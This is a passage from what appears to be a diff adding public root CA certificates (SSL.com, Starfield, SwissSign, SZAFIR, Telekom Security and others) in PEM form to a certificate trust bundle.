+-----BEGIN CERTIFICATE-----
+MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UE
+BhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQK
+DA9TU0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZp
+Y2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYwMjEyMTczOTM5WhcNNDEwMjEyMTcz
+OTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv
+dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
+bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcN
+AQEBBQADggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2R
+xFdHaxh3a3by/ZPkPQ/CFp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aX
+qhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcC
+C52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/geoeOy3ZExqysdBP+lSgQ3
+6YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkpk8zruFvh
+/l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrF
+YD3ZfBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93E
+JNyAKoFBbZQ+yODJgUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVc
+US4cK38acijnALXRdMbX5J+tB5O2UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8
+ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi81xtZPCvM8hnIk2snYxnP/Okm
++Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4sbE6x/c+cCbqi
+M+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV
+HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4G
+A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGV
+cpNxJK1ok1iOMq8bs3AD/CUrdIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBc
+Hadm47GUBwwyOabqG7B52B2ccETjit3E+ZUfijhDPwGFpUenPUayvOUiaPd7nNgs
+PgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAslu1OJD7OAUN5F7kR/
+q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjqerQ0
+cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jr
+a6x+3uxjMxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90I
+H37hVZkLId6Tngr75qNJvTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/Y
+K9f1JmzJBjSWFupwWRoyeXkLtoh/D1JIPb9s2KJELtFOt3JY04kTlf5Eq/jXixtu
+nLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406ywKBjYZC6VWg3dGq2ktuf
+oYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NIWuuA8ShY
+Ic2wBlX7Jz9TkHCpBB5XJ7k=
+-----END CERTIFICATE-----
+
+# SSL.com TLS ECC Root CA 2022
+-----BEGIN CERTIFICATE-----
+MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQsw
+CQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxT
+U0wuY29tIFRMUyBFQ0MgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2
+MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3Jh
+dGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3QgQ0EgMjAyMjB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWyJGYm
+acCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFN
+SeR7T5v15wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSME
+GDAWgBSJjy+j6CugFFR781a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NW
+uCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp
+15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w7deedWo1dlJF4AIxAMeN
+b0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5Zn6g6g==
+-----END CERTIFICATE-----
+
+# SSL.com TLS RSA Root CA 2022
+-----BEGIN CERTIFICATE-----
+MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBO
+MQswCQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQD
+DBxTU0wuY29tIFRMUyBSU0EgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloX
+DTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jw
+b3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJvb3QgQ0EgMjAyMjCC
+AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u9nTP
+L3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OY
+t6/wNr/y7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0ins
+S657Lb85/bRi3pZ7QcacoOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3
+PnxEX4MN8/HdIGkWCVDi1FW24IBydm5MR7d1VVm0U3TZlMZBrViKMWYPHqIbKUBO
+L9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDGD6C1vBdOSHtRwvzpXGk3
+R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEWTO6Af77w
+dr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS
++YCk8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYS
+d66UNHsef8JmAOSqg+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoG
+AtUjHBPW6dvbxrB6y3snm/vg1UYk7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2f
+gTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j
+BBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsuN+7jhHonLs0Z
+NbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
+hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsM
+QtfhWsSWTVTNj8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvf
+R4iyrT7gJ4eLSYwfqUdYe5byiB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJ
+DPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjUo3KUQyxi4U5cMj29TH0ZR6LDSeeW
+P4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqoENjwuSfr98t67wVy
+lrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7EgkaibMOlq
+bLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2w
+AgDHbICivRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3q
+r5nsLFR+jM4uElZI7xc7P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sji
+Mho6/4UIyYOf8kpIEFR3N+2ivEC+5BB09+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU
+98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
+-----END CERTIFICATE-----
+
+# Starfield Class 2 CA
+-----BEGIN CERTIFICATE-----
+MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzEl
+MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMp
+U3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQw
+NjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBoMQswCQYDVQQGEwJVUzElMCMGA1UE
+ChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZp
+ZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqGSIb3
+DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf
+8MOh2tTYbitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN
++lq2cwQlZut3f+dZxkqZJRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0
+X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVmepsZGD3/cVE8MC5fvj13c7JdBmzDI1aa
+K4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSNF4Azbl5KXZnJHoe0nRrA
+1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HFMIHCMB0G
+A1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fR
+zt0fhvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0
+YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBD
+bGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8w
+DQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGsafPzWdqbAYcaT1epoXkJKtv3
+L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLMPUxA2IGvd56D
+eruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl
+xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynp
+VSJYACPq4xJDKVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEY
+WQPJIrSPnNVeKtelttQKbfi3QBFGmh95DmK/D5fs4C8fF5Q=
+-----END CERTIFICATE-----
+
+# Starfield Root Certificate Authority - G2
+-----BEGIN CERTIFICATE-----
+MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
+EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
+HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
+ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw
+MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
+b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
+aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp
+Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
+ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg
+nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1
+HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N
+Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN
+dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0
+HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
+BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G
+CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU
+sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3
+4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg
+8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
+pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1
+mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
+-----END CERTIFICATE-----
+
+# Starfield Services Root Certificate Authority - G2
+-----BEGIN CERTIFICATE-----
+MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMx
+EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
+HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVs
+ZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
+MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNVBAYTAlVTMRAwDgYD
+VQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFy
+ZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2Vy
+dmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20p
+OsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm2
+8xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1K
+Ts9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufe
+hRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk
+6mFBrMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAw
+DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+q
+AdcwKziIorhtSpzyEZGDMA0GCSqGSIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMI
+bw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPPE95Dz+I0swSdHynVv/heyNXB
+ve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTyxQGjhdByPq1z
+qwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
+iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn
+0q23KXB56jzaYyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCN
+sSi6
+-----END CERTIFICATE-----
+
+# SwissSign Gold CA - G2
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+# SZAFIR ROOT CA2
+-----BEGIN CERTIFICATE-----
+MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQEL
+BQAwUTELMAkGA1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6
+ZW5pb3dhIFMuQS4xGDAWBgNVBAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkw
+NzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJBgNVBAYTAlBMMSgwJgYDVQQKDB9L
+cmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYDVQQDDA9TWkFGSVIg
+Uk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5QqEvN
+QLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT
+3PSQ1hNKDJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw
+3gAeqDRHu5rr/gsUvTaE2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr6
+3fE9biCloBK0TXC5ztdyO4mTp4CEHCdJckm1/zuVnsHMyAHs6A6KCpbns6aH5db5
+BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwiieDhZNRnvDF5YTy7ykHN
+XGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
+AgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsF
+AAOCAQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw
+8PRBEew/R40/cof5O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOG
+nXkZ7/e7DDWQw4rtTw/1zBLZpD67oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCP
+oky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul4+vJhaAlIDf7js4MNIThPIGy
+d05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6+/NNIxuZMzSg
+LvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
+-----END CERTIFICATE-----
+
+# Telekom Security TLS ECC Root 2020
+-----BEGIN CERTIFICATE-----
+MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQsw
+CQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBH
+bWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIw
+MB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIzNTk1OVowYzELMAkGA1UEBhMCREUx
+JzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkGA1UE
+AwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqGSM49
+AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/O
+tdKPD/M12kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDP
+f8iAC8GXs7s1J8nCG6NCMEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6f
+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2cA
+MGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZMo7k+5Dck2TOrbRBR2Di
+z6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdUga/sf+Rn
+27iQ7t0l
+-----END CERTIFICATE-----
+
+# Telekom Security TLS RSA Root 2023
+-----BEGIN CERTIFICATE-----
+MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBj
+MQswCQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0
+eSBHbWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAy
+MDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMyNzIzNTk1OVowYzELMAkGA1UEBhMC
+REUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkG
+A1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIwDQYJ
+KoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9
+cUD/h3VCKSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHV
+cp6R+SPWcHu79ZvB7JPPGeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMA
+U6DksquDOFczJZSfvkgdmOGjup5czQRxUX11eKvzWarE4GC+j4NSuHUaQTXtvPM6
+Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWol8hHD/BeEIvnHRz+sTug
+BTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9FIS3R/qy
+8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73J
+co4vzLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg
+8qKrBC7m8kwOFjQgrIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8
+rFEz0ciD0cmfHdRHNCk+y7AO+oMLKFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12
+mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7SWWO/gLCMk3PLNaaZlSJhZQNg
++y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtqeX
+gj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2
+p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQ
+pGv7qHBFfLp+sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm
+9S3ul0A8Yute1hTWjOKWi0FpkzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErw
+M807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy/SKE8YXJN3nptT+/XOR0so8RYgDd
+GGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4mZqTuXNnQkYRIer+
+CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtzaL1t
+xKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+
+w6jv/naaoqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aK
+L4x35bcF7DvB7L6Gs4a8wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+lj
+X273CXE2whJdV/LItM3z7gLfEdxquVeEHVlNjM7IDiPCtyaaEBRx/pOyiriA8A4Q
+ntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0o82bNSQ3+pCTE4FCxpgm
+dTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
+-----END CERTIFICATE-----
+
+# Telia Root CA v2
+-----BEGIN CERTIFICATE-----
